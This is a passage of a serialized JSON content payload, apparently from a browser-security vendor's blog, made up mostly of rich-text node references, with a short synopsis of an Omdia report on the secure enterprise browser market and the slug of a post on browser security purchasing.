647,"marks":31648,"value":6747,"nodeType":865},{},[],{"data":31650,"content":31651,"nodeType":972},{},[],{"data":31653,"content":31654,"nodeType":981},{},[31655],{"data":31656,"marks":31657,"value":6758,"nodeType":865},{},[31658],{"type":926},{"data":31660,"content":31661,"nodeType":866},{},[31662],{"data":31663,"marks":31664,"value":6765,"nodeType":865},{},[],{"data":31666,"content":31667,"nodeType":1317},{},[31668],{"data":31669,"marks":31670,"value":6773,"nodeType":865},{},[31671],{"type":926},{"data":31673,"content":31674,"nodeType":866},{},[31675,31678,31685],{"data":31676,"marks":31677,"value":21,"nodeType":865},{},[],{"data":31679,"content":31680,"nodeType":889},{"uri":3841},[31681],{"data":31682,"marks":31683,"value":6787,"nodeType":865},{},[31684],{"type":943},{"data":31686,"marks":31687,"value":6791,"nodeType":865},{},[],{"data":31689,"content":31690,"nodeType":866},{},[31691,31694,31698],{"data":31692,"marks":31693,"value":6798,"nodeType":865},{},[],{"data":31695,"marks":31696,"value":6803,"nodeType":865},{},[31697],{"type":926},{"data":31699,"marks":31700,"value":6807,"nodeType":865},{},[],{"data":31702,"content":31703,"nodeType":1317},{},[31704],{"data":31705,"marks":31706,"value":288,"nodeType":865},{},[31707],{"type":926},{"data":31709,"content":31710,"nodeType":866},{},[31711,31715,31723,31727],{"data":31712,"marks":31713,"value":21,"nodeType":865},{},[31714],{"type":926},{"data":31716,"content":31717,"nodeType":889},{"uri":3720},[31718],{"data":31719,"marks":31720,"value":6830,"nodeType":865},{},[31721,31722],{"type":943},{"type":926},{"data":31724,"marks":31725,"value":6835,"nodeType":865},{},[31726],{"type":926},{"data":31728,"marks":31729,"value":6839,"nodeType":865},{},[],{"data":31731,"content":31732,"nodeType":866},{},[31733],{"data":31734,"marks":31735,"value":6846,"nodeType":865},{},[],{"data":31737,"content":31738,"nodeType":1317},{},[31739],{"data":31740,"marks":31741,"value":6854,"nodeType":865},{},[31742],{"type":926},{"data":31744,"content":31745,"nodeType":866},{},[31746,31749,31755,31758,31764],{"data":31747,"marks":31748,"value":6861,"nodeType":865},{},[],{"data":31750,"content":31751,"nodeType":889},{"uri":6864},[31752],{"data":31753,"marks":31754,"value":6869,"nodeType":865},{},[],{"data":31756,"marks":31757,"value":6873,"nodeType":865},{},[],{"data":31759,"content":31760,"nodeType":889},{"uri":1929},[31761],{"data":31762,"marks":31763,"value":6880,"nodeType":865},{},[],{"data":31765,"marks":31766,"value":6884,"nodeType":865},{},[],{"data":31768,"content":31769,"nodeType":866},{},[31770],{"data":31771,"marks":31772,"value":6891,"nodeType":865},{},[],{"data":31774,"content":31775,"nodeType":1317},{},[31776],{"data":31777,"marks":31778,"value":6899,"nodeType":865},{},[31779],{"type":926},{"data":31781,"content":31782,"nodeType":866},{},[31783],{"data":31784,"marks":31785,"value":6906,"nodeType":865},{},[],{"data":31787,"content":31790,"nodeType":912},{"target":31788},{"sys":31789},{"id":6911,"type":909,"linkType":910},[],{"data":31792,"content":31793,"nodeType":972},{},[],{"data":31795,"content":31796,"nodeType":981},{},[31797],{"data":31798,"marks":31799,"value":6923,"nodeType":865},{},[31800],{"type":926},{"data":31802,"content":31803,"nodeType":866},{},[31804],{"data":31805,"marks":31806,"value":6930,"nodeType":865},{},[],{"data":31808,"content":31809,"nodeType":866},{},[31810],{"data":31811,"marks":31812,"value":6938,"nodeType":865},{},[31813],{"type":926},{"data":31815,"content":31818,"nodeType":912},{"target":31816},{"sys":31817},{"id":6943,"type":909,"linkType":910},[],{"data":31820,"content":31821,"nodeType":972},{},[],{"data":31823,"content":31824,"nodeType":1317},{},[31825],{"data":31826,"marks":31827,"value":6955,"nodeType":865},{},[31828],{"type":926},{"data":31830,"content":31831,"nodeType":866},{},[31832],{"data":31833,"marks":31834,"value":6962,"nodeType":865},{},[],{"data":31836,"content":31837,"nodeType":866},{},[31838],{"data":31839,"marks":31840,"value":6969,"nodeType":865},{},[],{"data":31842,"content":31843,"nodeType":866},{},[31844],{"data":31845,"marks":31846,"value":6976,"nodeType":865},{},[],{"data":31848,"content":31849,"nodeType":866},{},[31850,31854],{"data":31851,"marks":31852,"value":6984,"nodeType":865},{},[31853],{"type":926},{"data":31855,"marks":31856,"value":6988,"nodeType":865},{},[],{"data":31858,"content":31859,"nodeType":972},{},[],{"data":31861,"content":31862,"nodeType":866},{},[31863],{"data":31864,"marks":31865,"value":4591,"nodeType":865},{},[],{"data":31867,"content":31868,"nodeType":866},{},[31869,31872,31878],{"data":31870,"marks":31871,"value":7004,"nodeType":865},{},[],{"data":31873,"content":31874,"nodeType":889},{"uri":5477},[31875],{"data":31876,"marks":31877,"value":7011,"nodeType":865},{},[],{"data":31879,"marks":31880,"value":2302,"nodeType":865},{},[],{"items":31882},[31883,31885],{"sys":31884,"name":2314},{"id":2313},{"sys":31886,"name":342},{"id":4642},{"items":31888},[31889],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":31890},{"url":853},{"__typename":1429,"sys":31892,"content":31893,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":32714,"authorsCollection":32720},{"id":15406},{"json":31894},{"data":31895,"content":31896,"nodeType":1382},{},[31897,31919,31943,31976,32009,32014,32024,32027,32034,32076,32082,32101,32106,32109,32116,32140,32146,32153,32158,32161,32168,32174,32189,32195,32228,32234,32237,32244,32259,32301,32304,32311,32326,32341,32348,32354,32364,32374,32384,32394,32409,32416,32422,32425,32431,32437,32452,32455,32462,32477,32708],{"data":31898,"content":31899,"nodeType":866},{},[31900,31903,31909,31912,31916],{"data":31901,"marks":31902,"value":15417,"nodeType":865},{},[],{"data":31904,"content":31905,"nodeType":889},{"uri":4991},[31906],{"data":31907,"marks":31908,"value":8673,"nodeType":865},{},[],{"data":31910,"marks":31911,"value":15427,"nodeType":865},{},[],{"data":31913,"marks":31914,"value":15432,"nodeType":865},{},[31915],{"type":926},{"data":31917,"marks":31918,"value":15436,"nodeType":865},{},[],{"data":31920,"content":31921,"nodeType":866},{},[31922,31925,31931,31934,31940],{"data":31923,"marks":31924,"value":15443,"nodeType":865},{},[],{"data":31926,"content":31927,"nodeType":889},{"uri":15446},[31928],{"data":31929,"marks":31930,"value":15451,"nodeType":865},{},[],{"data":31932,"marks":31933,"value":15455,"nodeType":865},{},[],{"data":31935,"content":31936,"nodeType":889},{"uri":15458},[31937],{"data":31938,"marks":31939,"value":15463,"nodeType":865},{},[],{"data":31941,"marks":31942,"value":15467,"nodeType":865},{},[],{"data":31944,"content":31945,"nodeType":866},{},[31946,31949,31955,31958,31964,31967,31973],{"data":31947,"marks":31948,"value":15474,"nodeType":865},{},[],{"data":31950,"content":31951,"nodeType":889},{"uri":15477},[31952],{"data":31953,"marks":31954,"value":15482,"nodeType":865},{},[],{"data":31956,"marks":31957,"value":15486,"nodeType":865},{},[],{"data":31959,"content":31960,"nodeType":889},{"uri":15489},[31961],{"data":31962,"marks":31963,"value":15494,"nodeType":865},{},[],{"data":31965,"marks":31966,"value":15498,"nodeType":865},{},[],{"data":31968,"content":31969,"nodeType":889},{"uri":15501},[31970],{"data":31971,"marks":31972,"value":15506,"nodeType":865},{},[],{"data":31974,"marks":31975,"value":15510,"nodeType":865},{},[],{"data":31977,"content":31978,"nodeType":866},{},[31979,31982,31988,31991,31997,32000,32006],{"data":31980,"marks":31981,"value":15517,"nodeType":865},{},[],{"data":31983,"content":31984,"nodeType":889},{"uri":15520},[31985],{"data":31986,"marks":31987,"value":15525,"nodeType":865},{},[],{"data":31989,"marks":31990,"value":15529,"nodeType":865},{},[],{"data":31992,"content":31993,"nodeType":889},{"uri":15532},[31994],{"data":31995,"marks":31996,"value":15537,"nodeType":865},{},[],{"data":31998,"marks":31999,"value":15541,"nodeType":865},{},[],{"data":32001,"content":32002,"nodeType":889},{"uri":15544},[32003],{"data":32004,"marks":32005,"value":15549,"nodeType":865},{},[],{"data":32007,"marks":32008,"value":15553,"nodeType":865},{},[],{"data":32010,"content":32013,"nodeType":912},{"target":32011},{"sys":32012},{"id":15558,"type":909,"linkType":910},[],{"data":32015,"content":32016,"nodeType":866},{},[32017,32021],{"data":32018,"marks":32019,"value":15567,"nodeType":865},{},[32020],{"type":926},{"data":32022,"marks":32023,"value":15571,"nodeType":865},{},[],{"data":32025,"content":32026,"nodeType":972},{},[],{"data":32028,"content":32029,"nodeType":981},{},[32030],{"data":32031,"marks":32032,"value":15582,"nodeType":865},{},[32033],{"type":926},{"data":32035,"content":32036,"nodeType":866},{},[32037,32040,32046,32049,32055,32058,32064,32067,32073],{"data":32038,"marks":32039,"value":15589,"nodeType":865},{},[],{"data":32041,"content":32042,"nodeType":889},{"uri":15592},[32043],{"data":32044,"marks":32045,"value":15597,"nodeType":865},{},[],{"data":32047,"marks":32048,"value":14216,"nodeType":865},{},[],{"data":32050,"content":32051,"nodeType":889},{"uri":15603},[32052],{"data":32053,"marks":32054,"value":15608,"nodeType":865},{},[],{"data":32056,"marks":32057,"value":14629,"nodeType":865},{},[],{"data":32059,"content":32060,"nodeType":889},{"uri":15489},[32061],{"data":32062,"marks":32063,"value":15618,"nodeType":865},{},[],{"data":32065,"marks":32066,"value":15622,"nodeType":865},{},[],{"data":32068,"content":32069,"nodeType":889},{"uri":13633},[32070],{"data":32071,"marks":32072,"value":15629,"nodeType":865},{},[],{"data":32074,"marks":32075,"value":1615,"nodeType":865},{},[],{"data":32077,"content":32078,"nodeType":866},{},[32079],{"data":32080,"marks":32081,"value":15639,"nodeType":865},{},[],{"data":32083,"content":32084,"nodeType":866},{},[32085,32088,32094,32097],{"data":32086,"marks":32087,"value":15646,"nodeType":865},{},[],{"data":32089,"content":32090,"nodeType":889},{"uri":13633},[32091],{"data":32092,"marks":32093,"value":15653,"nodeType":865},{},[],{"data":32095,"marks":32096,"value":15657,"nodeType":865},{},[],{"data":32098,"marks":32099,"value":15662,"nodeType":865},{},[32100],{"type":926},{"data":32102,"content":32105,"nodeType":912},{"target":32103},{"sys":32104},{"id":15667,"type":909,"linkType":910},[],{"data":32107,"content":32108,"nodeType":972},{},[],{"data":32110,"content":32111,"nodeType":981},{},[32112],{"data":32113,"marks":32114,"value":15679,"nodeType":865},{},[32115],{"type":926},{"data":32117,"content":32118,"nodeType":866},{},[32119,32122,32128,32131,32137],{"data":32120,"marks":32121,"value":1449,"nodeType":865},{},[],{"data":32123,"content":32124,"nodeType":889},{"uri":13013},[32125],{"data":32126,"marks":32127,"value":15692,"nodeType":865},{},[],{"data":32129,"marks":32130,"value":15696,"nodeType":865},{},[],{"data":32132,"content":32133,"nodeType":889},{"uri":15501},[32134],{"data":32135,"marks":32136,"value":15703,"nodeType":865},{},[],{"data":32138,"marks":32139,"value":15707,"nodeType":865},{},[],{"data":32141,"content":32142,"nodeType":866},{},[32143],{"data":32144,"marks":32145,"value":15714,"nodeType":865},{},[],{"data":32147,"content":32148,"nodeType":866},{},[32149],{"data":32150,"marks":32151,"value":15722,"nodeType":865},{},[32152],{"type":926},{"data":32154,"content":32157,"nodeType":912},{"target":32155},{"sys":32156},{"id":15727,"type":909,"linkType":910},[],{"data":32159,"content":32160,"nodeType":972},{},[],{"data":32162,"content":32163,"nodeType":981},{},[32164],{"data":32165,"marks":32166,"value":15739,"nodeType":865},{},[32167],{"type":926},{"data":32169,"content":32170,"nodeType":866},{},[32171],{"data":32172,"marks":32173,"value":15746,"nodeType":865},{},[],{"data":32175,"content":32176,"nodeType":866},{},[32177,32180,32186],{"data":32178,"marks":32179,"value":1449,"nodeType":865},{},[],{"data":32181,"content":32182,"nodeType":889},{"uri":15755},[32183],{"data":32184,"marks":32185,"value":15760,"nodeType":865},{},[],{"data":32187,"marks":32188,"value":15764,"nodeType":865},{},[],{"data":32190,"content":32191,"nodeType":866},{},[32192],{"data":32193,"marks":32194,"value":15771,"nodeType":865},{},[],{"data":32196,"content":32197,"nodeType":866},{},[32198,32201,32207,32210,32216,32219,32225],{"data":32199,"marks":32200,"value":15778,"nodeType":865},{},[],{"data":32202,"content":32203,"nodeType":889},{"uri":15781},[32204],{"data":32205,"marks":32206,"value":15786,"nodeType":865},{},[],{"data":32208,"marks":32209,"value":15790,"nodeType":865},{},[],{"data":32211,"content":32212,"nodeType":889},{"uri":15793},[32213],{"data":32214,"marks":32215,"value":15798,"nodeType":865},{},[],{"data":32217,"marks":32218,"value":15802,"nodeType":865},{},[],{"data":32220,"content":32221,"nodeType":889},{"uri":3841},[32222],{"data":32223,"marks":32224,"value":15809,"nodeType":865},{},[],{"data":32226,"marks":32227,"value":15813,"nodeType":865},{},[],{"data":32229,"content":32230,"nodeType":866},{},[32231],{"data":32232,"marks":32233,"value":15820,"nodeType":865},{},[],{"data":32235,"content":32236,"nodeType":972},{},[],{"data":32238,"content":32239,"nodeType":981},{},[32240],{"data":32241,"marks":32242,"value":15831,"nodeType":865},{},[32243],{"type":926},{"data":32245,"content":32246,"nodeType":866},{},[32247,32250,32256],{"data":32248,"marks":32249,"value":15838,"nodeType":865},{},[],{"data":32251,"content":32252,"nodeType":889},{"uri":15841},[32253],{"data":32254,"marks":32255,"value":15846,"nodeType":865},{},[],{"data":32257,"marks":32258,"value":15850,"nodeType":865},{},[],{"data":32260,"content":32261,"nodeType":866},{},[32262,32265,32271,32274,32280,32283,32289,32292,32298],{"data":32263,"marks":32264,"value":15857,"nodeType":865},{},[],{"data":32266,"content":32267,"nodeType":889},{"uri":15860},[32268],{"data":32269,"marks":32270,"value":15865,"nodeType":865},{},[],{"data":32272,"marks":32273,"value":15869,"nodeType":865},{},[],{"data":32275,"content":32276,"nodeType":889},{"uri":15872},[32277],{"data":32278,"marks":32279,"value":15877,"nodeType":865},{},[],{"data":32281,"marks":32282,"value":15881,"nodeType":865},{},[],{"data":32284,"content":32285,"nodeType":889},{"uri":15884},[32286],{"data":32287,"marks":32288,"value":15889,"nodeType":865},{},[],{"data":32290,"marks":32291,"value":15893,"nodeType":865},{},[],{"data":32293,"content":32294,"nodeType":889},{"uri":15896},[32295],{"data":32296,"marks":32297,"value":15901,"nodeType":865},{},[],{"data":32299,"marks":32300,"value":15905,"nodeType":865},{},[],{"data":32302,"content":32303,"nodeType":972},{},[],{"data":32305,"content":32306,"nodeType":981},{},[32307],{"data":32308,"marks":32309,"value":15916,"nodeType":865},{},[32310],{"type":926},{"data":32312,"content":32313,"nodeType":866},{},[32314,32317,32323],{"data":32315,"marks":32316,"value":15923,"nodeType":865},{},[],{"data":32318,"content":32319,"nodeType":889},{"uri":1951},[32320],{"data":32321,"marks":32322,"value":15930,"nodeType":865},{},[],{"data":32324,"marks":32325,"value":15934,"nodeType":865},{},[],{"data":32327,"content":32328,"nodeType":866},{},[32329,32332,32338],{"data":32330,"marks":32331,"value":15941,"nodeType":865},{},[],{"data":32333,"content":32334,"nodeType":889},{"uri":15944},[32335],{"data":32336,"marks":32337,"value":315,"nodeType":865},{},[],{"data":32339,"marks":32340,"value":15952,"nodeType":865},{},[],{"data":32342,"content":32343,"nodeType":1317},{},[32344],{"data":32345,"marks":32346,"value":6331,"nodeType":865},{},[32347],{"type":926},{"data":32349,"content":32350,"nodeType":866},{},[32351],{"data":32352,"marks":32353,"value":15966,"nodeType":865},{},[],{"data":32355,"content":32356,"nodeType":866},{},[32357,32361],{"data":32358,"marks":32359,"value":15974,"nodeType":865},{},[32360],{"type":926},{"data":32362,"marks":32363,"value":15978,"nodeType":865},{},[],{"data":32365,"content":32366,"nodeType":866},{},[32367,32371],{"data":32368,"marks":32369,"value":15986,"nodeType":865},{},[32370],{"type":926},{"data":32372,"marks":32373,"value":15990,"nodeType":865},{},[],{"data":32375,"content":32376,"nodeType":866},{},[32377,32381],{"data":32378,"marks":32379,"value":15998,"nodeType":865},{},[32380],{"type":926},{"data":32382,"marks":32383,"value":16002,"nodeType":865},{},[],{"data":32385,"content":32386,"nodeType":866},{},[32387,32391],{"data":32388,"marks":32389,"value":16010,"nodeType":865},{},[32390],{"type":926},{"data":32392,"marks":32393,"value":16014,"nodeType":865},{},[],{"data":32395,"content":32396,"nodeType":866},{},[32397,32400,32406],{"data":32398,"marks":32399,"value":21,"nodeType":865},{},[],{"data":32401,"content":32402,"nodeType":889},{"uri":1256},[32403],{"data":32404,"marks":32405,"value":16027,"nodeType":865},{},[],{"data":32407,"marks":32408,"value":21,"nodeType":865},{},[],{"data":32410,"content":32411,"nodeType":1317},{},[32412],{"data":32413,"marks":32414,"value":16038,"nodeType":865},{},[32415],{"type":926},{"data":32417,"content":32418,"nodeType":866},{},[32419],{"data":32420,"marks":32421,"value":16045,"nodeType":865},{},[],{"data":32423,"content":32424,"nodeType":972},{},[],{"data":32426,"content":32427,"nodeType":866},{},[32428],{"data":32429,"marks":32430,"value":4591,"nodeType":865},{},[],{"data":32432,"content":32433,"nodeType":866},{},[32434],{"data":32435,"marks":32436,"value":1363,"nodeType":865},{},[],{"data":32438,"content":32439,"nodeType":866},{},[32440,32443,32449],{"data":32441,"marks":32442,"value":21,"nodeType":865},{},[],{"data":32444,"content":32445,"nodeType":889},{"uri":16069},[32446],{"data":32447,"marks":32448,"value":1378,"nodeType":865},{},[],{"data":32450,"marks":32451,"value":21,"nodeType":865},{},[],{"data":32453,"content":32454,"nodeType":972},{},[],{"data":32456,"content":32457,"nodeType":981},{},[32458],{"data":32459,"marks":32460,"value":16087,"nodeType":865},{},[32461],{"type":926},{"data":32463,"content":32464,"nodeType":866},{},[32465,32468,32474],{"data":32466,"marks":32467,"value":16094,"nodeType":865},{},[],{"data":32469,"content":32470,"nodeType":889},{"uri":4991},[32471],{"data":32472,"marks":32473,"value":16101,"nodeType":865},{},[],{"data":32475,"marks":32476,"value":16105,"nodeType":865},{},[],{"data":32478,"content":32479,"nodeType":2927},{},[32480,32523,32579,32622,32665],{"data":32481,"content":32482,"nodeType":2400},{},[32483,32493,32503,32513],{"data":32484,"content":32485,"nodeType":2366},{},[32486],{"data":32487,"content":32488,"nodeType":866},{},[32489],{"data":32490,"marks":32491,"value":16122,"nodeType":865},{},[32492],{"type":926},{"data":32494,"content":32495,"nodeType":2366},{},[32496],{"data":32497,"content":32498,"nodeType":866},{},[32499],{"data":32500,"marks":32501,"value":16133,"nodeType":865},{},[32502],{"type":926},{"data":32504,"content":32505,"nodeType":2366},{},[32506],{"data":32507,"content":32508,"nodeType":866},{},[32509],{"data":32510,"marks":32511,"value":16144,"nodeType":865},{},[32512],{"type":926},{"data":32514,"content":32515,"nodeType":2366},{},[32516],{"data":32517,"content":32518,"nodeType":866},{},[32519],{"data":32520,"marks":32521,"value":16155,"nodeType":865},{},[32522],{"type":926},{"data":32524,"content":32525,"nodeType":2400},{},[32526,32546,32555,32564],{"data":32527,"content":32528,"nodeType":2366},{},[32529],{"data":32530,"content":32531,"nodeType":866},{},[32532,32536,32539,32543],{"data":32533,"marks":32534,"value":16169,"nodeType":865},{},[32535],{"type":926},{"data":32537,"marks":32538,"value":16173,"nodeType":865},{},[],{"data":32540,"marks":32541,"value":16178,"nodeType":865},{},[32542],{"type":926},{"data":32544,"marks":32545,"value":16182,"nodeType":865},{},[],{"data":32547,"content":32548,"nodeType":2366},{},[32549],{"data":32550,"content":32551,"nodeType":866},{},[32552],{"data":32553,"marks":32554,"value":16192,"nodeType":865},{},[],{"data":32556,"content":32557,"nodeType":2366},{},[32558],{"data":32559,"content":32560,"nodeType":866},{},[32561],{"data":32562,"marks":32563,"value":16202,"nodeType":865},{},[],{"data":32565,"content":32566,"nodeType":2366},{},[32567,32573],{"data":32568,"content":32569,"nodeType":866},{},[32570],{"data":32571,"marks":32572,"value":16212,"nodeType":865},{},[],{"data":32574,"content":32575,"nodeType":866},{},[32576],{"data":32577,"marks":32578,"value":16219,"nodeType":865},{},[],{"data":32580,"content":32581,"nodeType":2400},{},[32582,32595,32604,32613],{"data":32583,"content":32584,"nodeType":2366},{},[32585],{"data":32586,"content":32587,"nodeType":866},{},[32588,32592],{"data":32589,"marks":32590,"value":16233,"nodeType":865},{},[32591],{"type":926},{"data":32593,"marks":32594,"value":16237,"nodeType":865},{},[],{"data":32596,"content":32597,"nodeType":2366},{},[32598],{"data":32599,"content":32600,"nodeType":866},{},[32601],{"data":32602,"marks":32603,"value":16247,"nodeType":865},{},[],{"data":32605,"content":32606,"nodeType":2366},{},[32607],{"data":32608,"content":32609,"nodeType":866},{},[32610],{"data":32611,"marks":32612,"value":16257,"nodeType":865},{},[],{"data":32614,"content":32615,"nodeType":2366},{},[32616],{"data":32617,"content":32618,"nodeType":866},{},[32619],{"data":32620,"marks":32621,"value":16267,"nodeType":865},{},[],{"data":32623,"content":32624,"nodeType":2400},{},[32625,32638,32647,32656],{"data":32626,"content":32627,"nodeType":2366},{},[32628],{"data":32629,"content":32630,"nodeType":866},{},[32631,32635],{"data":32632,"marks":32633,"value":16281,"nodeType":865},{},[32634],{"type":926},{"data":32636,"marks":32637,"value":16285,"nodeType":865},{},[],{"data":32639,"content":32640,"nodeType":2366},{},[32641],{"data":32642,"content":32643,"nodeType":866},{},[32644],{"data":32645,"marks":32646,"value":16295,"nodeType":865},{},[],{"data":32648,"content":32649,"nodeType":2366},{},[32650],{"data":32651,"content":32652,"nodeType":866},{},[32653],{"data":32654,"marks":32655,"value":16305,"nodeType":865},{},[],{"data":32657,"content":32658,"nodeType":2366},{},[32659],{"data":32660,"content":32661,"nodeType":866},{},[32662],{"data":32663,"marks":32664,"value":16315,"nodeType":865},{},[],{"data":32666,"content":32667,"nodeType":2400},{},[32668,32681,32690,32699],{"data":32669,"content":32670,"nodeType":2366},{},[32671],{"data":32672,"content":32673,"nodeType":866},{},[32674,32678],{"data":32675,"marks":32676,"value":16329,"nodeType":865},{},[32677],{"type":926},{"data":32679,"marks":32680,"value":16333,"nodeType":865},{},[],{"data":32682,"content":32683,"nodeType":2366},{},[32684],{"data":32685,"content":32686,"nodeType":866},{},[32687],{"data":32688,"marks":32689,"value":16192,"nodeType":865},{},[],{"data":32691,"content":32692,"nodeType":2366},{},[32693],{"data":32694,"content":32695,"nodeType":866},{},[32696],{"data":32697,"marks":32698,"value":16352,"nodeType":865},{},[],{"data":32700,"content":32701,"nodeType":2366},{},[32702],{"data":32703,"content":32704,"nodeType":866},{},[32705],{"data":32706,"marks":32707,"value":16362,"nodeType":865},{},[],{"data":32709,"content":32710,"nodeType":866},{},[32711],{"data":32712,"marks":32713,"value":21,"nodeType":865},{},[],{"items":32715},[32716,32718],{"sys":32717,"name":7796},{"id":7795},{"sys":32719,"name":342},{"id":4642},{"items":32721},[32722],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":32723},{"url":7804},"blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"json":32726},{"data":32727,"content":32728,"nodeType":1382},{},[32729],{"data":32730,"content":32731,"nodeType":866},{},[32732],{"data":32733,"marks":32734,"value":32735,"nodeType":865},{},[],"New research from Omdia has put hard numbers behind something security teams have been feeling for the past two years: the browser has become the primary attack surface in the enterprise, organizations are investing accordingly, and the results are already measurable.",{"id":17079,"publishedAt":32737},"2026-08-12T11:52:51.573Z",{"items":32739},[32740,32742],{"sys":32741,"name":297},{"id":2310},{"sys":32743,"name":2314},{"id":2313},{"items":32745},[32746,32748,32750,32752,32754,32756,32758,32760,32762,32764,32766,32768,32770,32772,32774,32776,32778,32780,32782],{"sys":32747,"name":297,"slug":298,"tier":31},{"id":294},{"sys":32749,"name":642,"slug":643,"tier":31},{"id":639},{"sys":32751,"name":279,"slug":280,"tier":31},{"id":276},{"sys":32753,"name":519,"slug":520,"tier":31},{"id":516},{"sys":32755,"name":413,"slug":414,"tier":31},{"id":410},{"sys":32757,"name":235,"slug":236,"tier":31},{"id":232},{"sys":32759,"name":386,"slug":387,"tier":45},{"id":383},{"sys":32761,"name":580,"slug":581,"tier":45},{"id":577},{"sys":32763,"name":261,"slug":262,"tier":45},{"id":258},{"sys":32765,"name":324,"slug":325,"tier":45},{"id":321},{"sys":32767,"name":571,"slug":572,"tier":45},{"id":568},{"sys":32769,"name":288,"slug":289,"tier":45},{"id":285},{"sys":32771,"name":368,"slug":369,"tier":45},{"id":365},{"sys":32773,"name":315,"slug":316,"tier":45},{"id":312},{"sys":32775,"name":360,"slug":361,"tier":45},{"id":357},{"sys":32777,"name":252,"slug":253,"tier":45},{"id":249},{"sys":32779,"name":511,"slug":512,"tier":45},{"id":508},{"sys":32781,"name":624,"slug":625,"tier":45},{"id":621},{"sys":32783,"name":244,"slug":245,"tier":45},{"id":241},"R6qLSR-i1d8ltg2tNiiwocbWu7Y3b4pT4C_MTKlUwec",{"id":32786,"title":25283,"authorsCollection":32787,"content":32792,"extension":228,"faqItemsCollection":33570,"faqTitle":59,"featured":6,"hashTags":59,"meta":33572,"metaTitle":33573,"ogImage":59,"postType":1424,"publishedDate":17656,"relatedBlogPostsCollection":33574,"slug":25285,"stem":35801,"subtitle":59,"summary":35802,"synopsis":25284,"sys":35813,"tagsCollection":35815,"topicsCollection":35821,"__hash__":35869},"blog/blog/how-to-avoid-the-browser-security-buyers-trap.json",{"items":32788},[32789],{"fullName":4614,"firstName":4615,"jobTitle":4616,"socialLinks":32790,"profilePicture":32791},[23886],{"url":4618},{"json":32793,"links":33452},{"data":32794,"content":32795,"nodeType":1382},{},[32796,32801,32807,32813,32819,32822,32829,32835,32845,32855,32860,32866,32869,32876,32882,32887,32893,32899,32992,32998,33001,33008,33014,33069,33082,33087,33093,33096,33103,33109,33116,33122,33128,33153,33159,33166,33172,33178,33184,33191,33197,33203,33209,33212,33219,33229,33235,33241,33248,33254,33260,33267,33273,33328,33341,33356,33363,33369,33376,33382,33388,33394,33399,33406,33412,33418,33423,33429,33435,33441,33446],{"data":32797,"content":32800,"nodeType":912},{"target":32798},{"sys":32799},{"id":24526,"type":909,"linkType":910},[],{"data":32802,"content":32803,"nodeType":866},{},[32804],{"data":32805,"marks":32806,"value":24534,"nodeType":865},{},[],{"data":32808,"content":32809,"nodeType":866},{},[32810],{"data":32811,"marks":32812,"value":24541,"nodeType":865},{},[],{"data":32814,"content":32815,"nodeType":866},{},[32816],{"data":32817,"marks":32818,"value":24548,"nodeType":865},{},[],{"data":32820,"content":32821,"nodeType":972},{},[],{"data":32823,"content":32824,"nodeType":981},{},[32825],{"data":32826,"marks":32827,"value":24559,"nodeType":865},{},[32828],{"type":926},{"data":32830,"content":32831,"nodeType":866},{},[32832],{"data":32833,"marks":32834,"value":24566,"nodeType":865},{},[],{"data":32836,"content":32837,"nodeType":866},{},[32838,32842],{"data":32839,"marks":32840,"value":24574,"nodeType":865},{},[32841],{"type":926},{"data":32843,"marks":32844,"value":24578,"nodeType":865},{},[],{"data":32846,"content":32847,"nodeType":866},{},[32848,32852],{"data":32849,"marks":32850,"value":24586,"nodeType":865},{},[32851],{"type":926},{"data":32853,"marks":32854,"value":24590,"nodeType":865},{},[],{"data":32856,"content":32859,"nodeType":912},{"target":32857},{"sys":32858},{"id":12658,"type":909,"linkType":910},[],{"data":32861,"content":32862,"nodeType":866},{},[32863],{"data":32864,"marks":32865,"value":24602,"nodeType":865},{},[],{"data":32867,"content":32868,"nodeType":972},{},[],{"data":32870,"content":32871,"nodeType":981},{},[32872],{"data":32873,"marks":32874,"value":24613,"nodeType":865},{},[32875],{"type":926},{"data":32877,"content":32878,"nodeType":866},{},[32879],{"data":32880,"marks":32881,"value":24620,"nodeType":865},{},[],{"data":32883,"content":32886,"nodeType":912},{"target":32884},{"sys":32885},{"id":24625,"type":909,"linkType":910},[],{"data":32888,"content":32889,"nodeType":866},{},[32890],{"data":32891,"marks":32892,"value":24633,"nodeType":865},{},[],{"data":32894,"content":32895,"nodeType":866},{},[32896],{"data":32897,"marks":32898,"value":24640,"nodeType":865},{},[],{"data":32900,"content":32901,"nodeType":1616},{},[32902,32918,32934,32950,32966,32979],{"data":32903,"content":32904,"nodeType":1570},{},[32905],{"data":32906,"content":32907,"nodeType":866},{},[32908,32911,32915],{"data":32909,"marks":32910,"value":24653,"nodeType":865},{},[],{"data":32912,"marks":32913,"value":23998,"nodeType":865},{},[32914],{"type":926},{"data":32916,"marks":32917,"value":24661,"nodeType":865},{},[],{"data":32919,"content":32920,"nodeType":1570},{},[32921],{"data":32922,"content":32923,"nodeType":866},{},[32924,32927,32931],{"data":32925,"marks":32926,"value":24671,"nodeType":865},{},[],{"data":32928,"marks":32929,"value":24676,"nodeType":865},{},[32930],{"type":926},{"data":32932,"marks":32933,"value":24680,"nodeType":865},{},[],{"data":32935,"content":32936,"nodeType":1570},{},[32937],{"data":32938,"content":32939,"nodeType":866},{},[32940,32943,32947],{"data":32941,"marks":32942,"value":24690,"nodeType":865},{},[],{"data":32944,"marks":32945,"value":24695,"nodeType":865},{},[32946],{"type":926},{"data":32948,"marks":32949,"value":24699,"nodeType":865},{},[],{"data":32951,"content":32952,"nodeType":1570},{},[32953],{"data":32954,"content":32955,"nodeType":866},{},[32956,32959,32963],{"data":32957,"marks":32958,"value":24709,"nodeType":865},{},[],{"data":32960,"marks":32961,"value":24714,"nodeType":865},{},[32962],{"type":926},{"data":32964,"marks":32965,"value":24718,"nodeType":865},{},[],{"data":32967,"content":32968,"nodeType":1570},{},[32969],{"data":32970,"content":32971,"nodeType":866},{},[32972,32976],{"data":32973,"marks":32974,"value":4757,"nodeType":865},{},[32975],{"type":926},{"data":32977,"marks":32978,"value":24732,"nodeType":865},{},[],{"data":32980,"content":32981,"nodeType":1570},{},[32982],{"data":32983,"content":32984,"nodeType":866},{},[32985,32989],{"data":32986,"marks":32987,"value":24743,"nodeType":865},{},[32988],{"type":926},{"data":32990,"marks":32991,"value":24747,"nodeType":865},{},[],{"data":32993,"content":32994,"nodeType":866},{},[32995],{"data":32996,"marks":32997,"value":24754,"nodeType":865},{},[],{"data":32999,"content":33000,"nodeType":